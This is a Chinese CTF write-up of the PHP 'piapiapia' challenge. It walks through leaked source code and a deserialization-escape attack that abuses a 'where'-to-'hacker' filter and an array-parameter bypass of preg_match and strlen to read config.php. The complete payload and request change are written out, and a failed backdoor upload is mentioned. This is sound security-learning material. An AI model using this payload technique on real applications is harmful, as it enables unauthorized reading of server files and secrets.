wp
进入题目,一个登录框,F12和源代码没有看到提示,robots.txt也没有东西。于是试一试访问www.zip,没想到有源码,省了扫描目录的时间。
里面有6个php文件,使用Seay审计代码,简单看了下(其实也看了挺久都没完全看明白),每个php文件主要功能大概如下:
文件内容
register.php:注册用户
class.php:连接数据库,进行查询、插入、更新,另外还有过滤函数(接下来会用到)
config.php:连接数据库需要的信息,除此之外还有个显眼的$flag
index.php:判断登录用户名和密码是否符合长度规定
update.php:更新一些资料,输入phone、email、nickname,以及上传头像photo。将这些资料放到一个数组中,这个数组会被序列化
profile.php:将更新的资料反序列化,并且有一个file_get_contents()将图片(文件)内容base64编码输出(会用到)
尝试
第一次做的时候看到有头像上传,并且没有对文件进行过滤,于是试了下上传一个后门,上传成功,但是访问的时候出现了405,于是再看看有什么利用的地方。
回到config.php文件,里面有个$flag变量,读取config.php文件的内容获取flag。
再仔细看下代码,可以发现更新的资料是先将其序列化,再进行过滤,最后再反序列化,并且会将文件内容base64编码打印。
主要部分
序列化
$user->update_profile($username, serialize($profile));
过滤
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
反序列化,获取base64编码的文件内容
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
反序列化逃逸
尝试将本来上传的文件换成config.php,这样就可以将文件内容打印出来,得到flag。现在的问题是如何将文件换成config.php。这里用到的是反序列化逃逸。
将$profile数组正常序列化如下
a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:9:"[email protected]";s:8:"nickname";s:2:"12";s:5:"photo";s:39:"upload/(这里是32位md5)";}
当我们的nickname的值为a";s:5:"photo";s:10:"config.php";}
,那么序列化后就变成
a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:9:"[email protected]";s:8:"nickname";s:34:"a";s:5:"photo";s:10:"config.php";}";s:5:"photo";s:39:"upload/(这里是32位md5)";}
由于反序列化字符串是以花括号'}'结尾,因此当我们构造时加上'}'即可让反序列化函数知道到此就结束了。自带的花括号'}'会逃逸出去。
我们想要把原来的字符串挤出去,就需要以倒数第二个'}'为序列化字符串的结尾。
但是输入nickname时有正则表达式判断并且被限制了长度。
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
正常情况下preg_match()和strlen()接收的都是字符串,如果接收的是一个数组,那么就会返回false。只需要抓包修改nickname为nickname[]即可绕过。相应的我们传入nickname的值就变成a";}s:5:"photo";s:10:"config.php";}
(加了个'}'是为了闭合nickname[]序列化后存在的'{'),这时候我们插入的字符串长度多了1,即35。
一个'where'的长度为5,被替换后的'hacker'长度为6,我们插入的字符串长度为35-1=34(把a去掉)。因此我们需要把'a'换成34/(6-5)=34个where,这样才可以实现序列化字符串在反序列化时以倒数第二个花括号为结束标志。(个人感觉理解还是有点困难,因此我都是弄懂了后总结规律记住)
如果没有替换,那么序列化后应该是这样的:
a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:9:"[email protected]";a:4:{s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";s:5:"photo";s:39:"upload/(这里是32位md5)";}
当序列化后,where被替换成hacker,结果如下:
a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:9:"[email protected]";a:4:{s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";s:5:"photo";s:39:"upload/(这里是32位md5)";}
替换后长度204并没有改变,因为已经序列化了,长度不会改变。34个hacker的长度刚好就是204,所以也就相当于nickname的值为34个hacker。这时我们插入的变量photo就能够被反序列化,而且反序列化的时候以倒数第二个花括号为结束标志,本身的photo变量也就逃逸出去了。
流程
首先我们访问/register.php注册账户,后面根据提示更新资料即可。更新资料时抓包,修改nickname为nickname[],值为:
hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}
可以看到成功更新。这个时候在浏览器中f12查看图片信息,将base64编码拿去解码即可得到config.php中的内容
总结
当时看到源码是有点懵的,虽然看到了config.php里面有flag,但是并没有想到读取config.php获取flag,感觉还是需要多做题来积累经验。刚开始不知道从哪里入手,以为有文件上传漏洞,但是发现服务器拒绝访问,又觉得可能会有sql漏洞,但是又找不到。最后看了师傅们的wp才知道原来是一道与反序列化逃逸有关的题目,利用反序列化逃逸来读取config.php文件。自己看代码的时候看到了过滤、序列化和反序列化的函数,但是没有想到反序列化逃逸,还是需要多少学习学习。对于反序列化逃逸buuctf上有一道easy_serialize_php的题,当时做完后还是不熟练,最后总结了规律再做这类型的题目的时候套一下模板构造payload。除此之外一些函数例如preg_match()、strlen()当参数为数组时会返回false从而绕过,也是需要好好总结一下。
标签:profile,序列化,photo,逃逸,config,piapiapia,nickname,php From: https://www.cnblogs.com/p0n9/p/16853042.html